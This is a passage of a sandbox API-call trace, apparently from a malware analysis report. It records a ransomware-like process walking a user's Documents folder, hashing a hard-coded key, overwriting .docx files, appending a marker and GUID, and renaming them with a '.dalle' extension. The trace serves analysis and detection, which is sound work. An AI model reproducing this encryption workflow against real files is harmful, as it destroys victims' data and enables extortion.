lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.177] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.177] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.178] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.178] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.178] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.178] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.178] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.179] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.179] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.179] PathFindFileNameW (pszPath="") returned="" [0120.179] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.179] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd64cc70, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd64cc70, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.179] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.179] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd64cc70, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd64cc70, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.179] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e93ffd0, ftCreationTime.dwHighDateTime=0x1d4be45, ftLastAccessTime.dwLowDateTime=0x7f28b440, ftLastAccessTime.dwHighDateTime=0x1d513b5, ftLastWriteTime.dwLowDateTime=0x7f28b440, ftLastWriteTime.dwHighDateTime=0x1d513b5, nFileSizeHigh=0x0, nFileSizeLow=0x4718, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2CT69ygJXeQqr8Q.docx", cAlternateFileName="2CT69Y~1.DOC")) returned 1 [0120.179] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.179] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.179] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.179] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2CT69ygJXeQqr8Q.docx") returned=".docx" [0120.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2CT69ygJXeQqr8Q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2ct69ygjxeqqr8q.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.180] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=18200) returned 1 [0120.180] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.182] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x46f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.182] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.183] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.183] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.183] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x4718, lpOverlapped=0x0) returned 1 [0120.184] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.184] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.184] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.184] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.184] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.185] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.185] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.185] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.185] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.185] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.185] GetLastError () returned 0x0 [0120.185] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.185] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.185] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.185] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4720) returned 0x3096780 [0120.185] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.185] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.185] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x4713, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x4713, lpOverlapped=0x0) returned 1 [0120.186] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.186] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.186] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.186] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.186] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.186] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.186] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.186] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.186] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.186] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.186] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.186] CloseHandle (hObject=0x618) returned 1 [0120.187] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.187] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.187] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.187] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2CT69ygJXeQqr8Q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2ct69ygjxeqqr8q.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2CT69ygJXeQqr8Q.docx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2ct69ygjxeqqr8q.docx.dalle")) returned 1 [0120.188] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.188] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.189] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.189] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11961080, ftCreationTime.dwHighDateTime=0x1d506cc, ftLastAccessTime.dwLowDateTime=0x860a950, ftLastAccessTime.dwHighDateTime=0x1d49eec, ftLastWriteTime.dwLowDateTime=0x860a950, ftLastWriteTime.dwHighDateTime=0x1d49eec, nFileSizeHigh=0x0, nFileSizeLow=0x178ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5hGto9u9m313.docx", cAlternateFileName="5HGTO9~1.DOC")) returned 1 [0120.189] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.189] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.189] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5hGto9u9m313.docx") returned=".docx" [0120.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5hGto9u9m313.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5hgto9u9m313.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.190] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=96494) returned 1 [0120.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.192] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x178c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.192] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.193] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.193] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.193] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.193] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x178ee, lpOverlapped=0x0) returned 1 [0120.194] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.194] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.194] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.194] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.194] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.195] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.195] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.195] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.195] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.195] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.195] GetLastError () returned 0x0 [0120.195] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.195] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.195] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.195] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x178f0) returned 0x3096780 [0120.196] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.196] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.196] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x178e9, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x178e9, lpOverlapped=0x0) returned 1 [0120.196] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.196] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x178ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.196] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.196] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.197] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.197] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.197] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.197] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.197] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.197] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.197] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: 